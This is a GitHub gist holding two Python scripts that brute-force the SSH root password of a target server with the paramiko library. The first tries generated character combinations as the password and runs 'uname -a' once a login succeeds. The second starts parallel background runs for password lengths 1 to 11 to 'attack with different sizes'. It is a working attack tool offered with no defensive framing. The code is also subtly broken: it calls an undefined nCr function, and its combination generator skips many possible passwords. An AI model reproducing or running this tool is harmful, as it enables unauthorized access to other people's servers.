Created
April 22, 2014 22:39
-
-
Save tdgunes/11196814 to your computer and use it in GitHub Desktop.
Bruteforcing over paramiko
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import string | |
import paramiko | |
from itertools import combinations | |
import sys | |
server_ip = "" #put ip of the user here | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
charset = string.printable[:36] | |
def writeCombinations(size): | |
n = len(charset) | |
password_size = nCr(n, size) | |
print "Generating:", password_size | |
all_combinations = combinations(charset, size) | |
for p in combinations(charset, size): | |
password = "".join(p) | |
yield password | |
for password in writeCombinations(int(sys.argv[-1])): | |
print "trying:", password , | |
try: | |
ssh.connect(server_ip, username='root', password=password) | |
stdin, stdout, stderr = ssh.exec_command('uname -a') | |
print "is success" | |
for line in stdout.readlines(): | |
print line | |
break | |
except paramiko.ssh_exception.AuthenticationException: | |
print "is failed" | |
except KeyboardInterrupt: | |
pass | |
except: | |
pass | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
size = 12 | |
# attack with different sizes :) | |
for i in range(1,size): | |
os.system("python -u bruteforce.py %s > ./flog-%s.txt &" % (str(i), str(i))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment